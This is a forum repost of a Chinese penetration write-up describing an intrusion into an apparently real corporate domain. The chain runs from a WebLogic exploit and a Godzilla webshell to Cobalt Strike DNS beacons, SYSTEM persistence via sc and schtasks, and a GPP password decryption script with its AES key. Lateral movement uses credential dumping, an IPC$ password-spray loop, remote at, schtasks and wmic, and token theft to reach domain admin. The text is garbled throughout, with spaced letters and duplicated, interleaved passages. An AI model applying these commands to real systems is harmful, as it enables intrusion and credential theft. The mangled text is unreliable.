搜索

[21804] 2021-03-24_内网渗透

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2021-03-24_内网渗透 内 网 渗 透 转 自 安 全 先 师   L e m o n S e c   2 0 2 1 - 0 3 - 2 4 前 言 前 言 内 网 玩 的 少 内 网 玩 的 少 , 突 然 遇 见 一 个 突 然 遇 见 一 个 , 目 的 拿 到 域 控 就 行 了 目 的 拿 到 域 控 就 行 了 , 期 间 有 些 其 他 操 作 就 顺 带 提 一 下 ， 主 要 写 了 拿 域 控 这 条 线 ， 目 标 外 网 期 间 有 些 其 他 操 作 就 顺 带 提 一 下 ， 主 要 写 了 拿 域 控 这 条 线 ， 目 标 外 网 i p : w i p 1 ， 后 面 打 码 严 重 ， 见 谅 ， 技 术 比 较 菜 ， 欢 迎 大 佬 们 提 出 宝 贵 意 见 。 ， 后 面 打 码 严 重 ， 见 谅 ， 技 术 比 较 菜 ， 欢 迎 大 佬 们 提 出 宝 贵 意 见 。 打 点 打 点 尝 试 利 用 w e b l o g i c 的 漏 洞 , C V E - 2 0 1 9 - 2 7 2 5   成 功 信 息 收 集 i p c o n f i g   / a l l   发 现 存 在 域 : g x x x x x x x x x . c o m w h o a m i   / a l l   权 限 s y s t e m h t t p : / / w i p 1 / 并 添 加 一 个 随 意 路 径 , 发 现 是 w e b l o g i c
n e t   u s e r   / d o m a i n   查 看 域 用 户 ( 有 点 多 ) n e t   g r o u p   " d o m a i n   a d m i n s "   / d o m a i n       查 看 域 管 理 员   有   个 a d m i n i s t r a t o r n e t   g r o u p   " d o m a i n   c o m p u t e r s "   / d o m a i n   查 看 域 内 主 机 名 n e t   g r o u p   " d o m a i n   c o n t r o l l e r s "   / d o m a i n   查 看 域 控 主 机 名 , 通 过 p i n g 主 机 名   可 以 获 取 3 台 域 控 的 i p
t a s k l i s t   查 看 进 程 有 没 杀 软 ( 存 在 卡 巴 斯 基 ) N e t s t a t   - a n o   查 看 端 口 开 放 情 况 a r p   - a   可 以 推 测 出 内 网 可 能 有 那 些 i p 段 和 存 活 主 机 q u e r y   u s e r   | |   q w i n s t a     查 看 当 前 登 陆 用 户 ( w i p 1 / a d m i n i s t r a t o r 登 陆 中 ) 主 要 的 整 理 哈 1 .   目 前 知 道 内 网 有 2 个 段 当 前 主 机 内 网 i p 为   1 9 2 . x x . x x . x 5 1 0 . x x . x x . x x       和   1 9 2 . x x . x x . x x 2 .   域 控 的 i p 为 1 9 2 . x x . x x . x 3       1 9 2 . x x . x x . x 2   1 0 . x x . x x . x 2 3 .   一 些 账 号 ， 一 些 主 机 名 为 了 方 便 后 续 操 作 , b a s e 6 4 编 码 和 解 码 写 入 j s p 马 ( 哥 斯 拉 )
在 利 用 c e r t u t i l   解 码 : C e r t u t i l     - d e c o d e   a . t x t   a . j s p 内 网 渗 透 内 网 渗 透 C S   上 线 上 线 因 为 存 在 卡 巴 ， 要 绕 过 杀 软 , 并 且 通 过 p i n g   外 网 是 p i n g   不 通 的 ， 可 能 改 机 器 不 能 出 网 d n s 隧 道 和 加 载 器 加 载 加 密 的 s h e l l c o d e 实 现 上 线 d n s 配 置 配 置 方 式 如 下 买 一 个 域 名 添 加 如 下 记 录 c s 中 配 置
用 S t a g e l e s s   的 s h e l l c o d e , 也 就 是 如 下   不 然 可 能 会 导 致 上 线 很 慢 或 者 不 能 上 线 i p :   1 9 2 . x x . x x . x 5   上 线 权 限 维 持 权 限 维 持 创 建 自 启 动 服 务 进 行 权 限 维 持 成 功 上 线 创 建 定 时 任 务 避 免 进 程 被 杀   每 周 运 行 一 次 s c   c r e a t e   " x x x "   b i n p a t h =   " c m d   / c   s t a r t   " C : / w i n d o w s / t e m p / x x x . b a t " " & & s c   c o n f i g   " x x x "   s t a r t =   a u t o & & n e t   s t a r t     x x x s c h t a s k s   / c r e a t e   / t n   " x x x "   / t r   " C : / w i n d o w s / t e m p / x x x . b a t "   / s c   w e e k l y   / m o   1     / r u   s y s t e m s c h t a s k s   / r u n   / t n   " x x x "
成 功 上 线 横 向 渗 透 横 向 渗 透 密 码 信 息 密 码 信 息 收 集 存 在 g p p 目 录 中 的 各 种 明 文 或 者 加 密 账 号 s h e l l   d i r   域 名 s y s v o l 域 名 批 量 查 看 那 些 文 件 中 包 括 p a s s w o r d s h e l l   f i n d s t r   / s   / i   / m   / c : " p a s s w o r d "     域 名 S Y S V O L 域 名 P o l i c i e s * . x m l 利 用 s h e l l   t y p e   查 看 其 中 加 密 的 密 码 利 用 脚 本 解 密 i m p o r t   s y s f r o m   C r y p t o . C i p h e r   i m p o r t   A E S f r o m   b a s e 6 4   i m p o r t   b 6 4 d e c o d e
利 用 l o a g o n p a s s w o r d s   抓 取 密 码 , 只 抓 到 了 本 机 a d m i n i s t r a t o r 的 密 码 数 据 库 账 号 密 码 其 实 还 有 r d p 登 录 , 浏 览 器 等 密 码 ( 没 抓 取 , 先 尝 试 以 上 秘 密 ) 横 向 获 取 所 有 主 机 横 向 获 取 所 有 主 机 i p 思 路 1 .   d o m a i n   c o m p u t e r s   组 获 取 主 机 名     +   p i n g 2 .   S p n 获 取 主 机 名 + p i n g s e t s p n   - t   / d o m a i n   - q     * / *     >   s p n . t x t 因 为 d n s 实 在 太 慢 了 ， 容 易 断 开 ， 而 且 该 域 比 较 大 ，   就 没 大 规 模 p i n g 和 扫 描 ,     通 过 看   d o m a i n   c o m p u t e r s   组   通 过 主 机 名 发 现 了 有 些 主 机 k e y   =   " " " 4 e   9 9   0 6   e 8     f c   b 6   6 c   c 9     f a   f 4   9 3   1 0     6 2   0 f   f e   e 8 f 4   9 6   e 8   0 6     c c   0 5   7 9   9 0     2 0   9 b   0 9   a 4     3 3   b 6   6 c   1 b " " " . r e p l a c e ( "   " , " " ) . r e p l a c e ( " n " , " " ) . d e c o d e ( ' h e x ' ) c p a s s w o r d   =   " 加 密 的 字 符 串 " c p a s s w o r d   + =   " = "   *   ( ( 4   -   l e n ( c p a s s w o r d )   %   4 )   %   4 ) p a s s w o r d   =   b 6 4 d e c o d e ( c p a s s w o r d ) o   =   A E S . n e w ( k e y ,   A E S . M O D E _ C B C ,   " x 0 0 "   *   1 6 ) . d e c r y p t ( p a s s w o r d ) p r i n t   o [ : - o r d ( o [ - 1 ] ) ] . d e c o d e ( ' u t f 1 6 ' )
的 功 能 ,   通 过 p i n g   这 些 主 机 发 现 全 都 在 1 9 2 这 个 段 ， 并 且 我 们 具 有 权 限 的 那 台 主 机 也 在 这 段 , 思 考 了 哈 就 先 弄 1 9 2 这 个 段 吧 横 向 渗 透 横 向 渗 透 利 用 刚 才 获 取 的 密 码 尝 试 1 9 2 段   ， 利 用 了 c s 自 带 p s e x e c   等 方 法 批 量 上 线 ， 发 现 都 是 不 行 的 ， 应 该 是 有 杀 软 ， 只 能 手 动 来 搞 了 先 利 用 进 程 注 入 一 个 a d m i n i s t r a t o r   权 限 的 进 程 获 得 本 地 管 理 员 权 限 也 可 以 利 用 令 牌 窃 取 获 取 本 地 管 理 员 权 限 批 量 尝 试 ， 建 立 了 链 接 f o r   / L   % I   i n   ( 1 , 1 , 2 5 4 )   d o     @ n e t   u s e   1 9 2 . x x . x x . % I i p c $     " 刚 才 获 取 的 密 码 "       / u s e r : a d m i n i s t r a t o r 查 看 那 些 主 机 有 管 理 员 登 陆 过 ( 在 这 期 间 也 拿 了 几 个 具 有 有 外 网 i p 的 w e b s h e l l ) s h e l l   t a s k l i s t   / s     i p       / v 发 现 1 9 2 . x x . x x . x 0   这 太 主 机 上 有 域 管 进 程 并 且 存 在 卡 巴 c o p y   s h e l l c o d e   和 加 载 器 到 建 立 i p c 链 接 的 主 机 上
利 用 a t   定 时 任 务 进 行 上 线 s h e l l   n e t   t i m e   i p 2   查 看 远 程 主 机 时 间 s h e l l   a t   t i m e   i p     1 2 : 5 7   x x x . b a t 等 了 一 会 ， 幸 运 的 是 ， 成 功 上 线 ， 同 样 走 的 d n s ， 其 实 可 以 结 合 第 一 个 s h e l l   走 s m b   隧 道 同 样 做 好 权 限 维 持 , 查 看 端 口 发 现 有 对 外 网 的 链 接 ,   走 h t t p   隧 道 ( 可 以 利 用 云 函 数 做 中 转 隐 藏 c s 服 务 I P ) 上 线 期 间 休 息 过 一 阵 子 没 有 弄 , 加 载 器 被 杀 完 了 ， 重 新 改 加 载 器 ， 上 线 , 但 是 a t   命 令 没 了 ( 估 计 被 发 现 了 ) . . . . . . , 换 s c h t a s k s s c h t a s k s   / c r e a t e     / F   / s   1 9 2 . x x . x x . x 0   / u   a d m i n i s t r a t o r   / p     " 密 码 "       / t n   t e s t     / t r   " c : w i n d o w s t e m p x x x x x . b a t "       / s c   D A I L Y   / m o   1   / s t   1 3 : 2 0 目 前 上 线 2 台 , 1 9 2 . x x . x x . x 0   有 域 管 理 登 录 过 ， 要 想 获 取 域 管 理 员 权 限 , 常 见 抓 秘 密 和 h a s h ， 但 是 可 能 第 二 次 面 杀 不 到 位 ， 失 败 ， 还 有 查 找 各 个 文 件 等 等 ， 就 不 试 了 , 直 接 令 牌 窃 取 ， 获 取 域 管 理 员 权 限 g x x x x x x x x x x x a d m i n i s t r a t o r 接 下 来 就 是 登 录 域 控 , 发 现 定 时 任 务 不 行 了 ， 尝 试 w m i c s h e l l   w m i c   / n o d e : 1 9 2 . x x . x x . x 3       p r o c e s s   c a l l   c r e a t e   " c m d . e x e   / c   w h o a m i > f : x x x x x x r e s u l t . t x t "
c o p y   s h e l l c o d e   和 加 载 器 到 建 立 i p c 链 接 的 主 机 上 , 然 后 执 行 上 线 差 不 多 行 了 ， 数 据 那 些 就 不 下 载 了 , 也 不 维 权 了 ， 交 差 ， 后 面 利 用 f r p   随 便 访 问 了 哈 内 网 的 w e b ， 找 到 一 个 弱 口 令 ， 可 以 设 置 域 策 略 一 如 既 往 的 学 习 ， 一 如 既 往 的 整 理 ， 一 如 即 往 的 分 享 。 感 谢 支 持 “ 如 侵 权 请 私 聊 公 众 号 删 文 ” 扫 描 关 注 扫 描 关 注 L e m o n S e c s h e l l   w m i c   / n o d e : 1 9 2 . x x . x x . x 3     p r o c e s s   c a l l   c r e a t e   " c m d . e x e   / c   f : x x x x x x x . b a t "
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理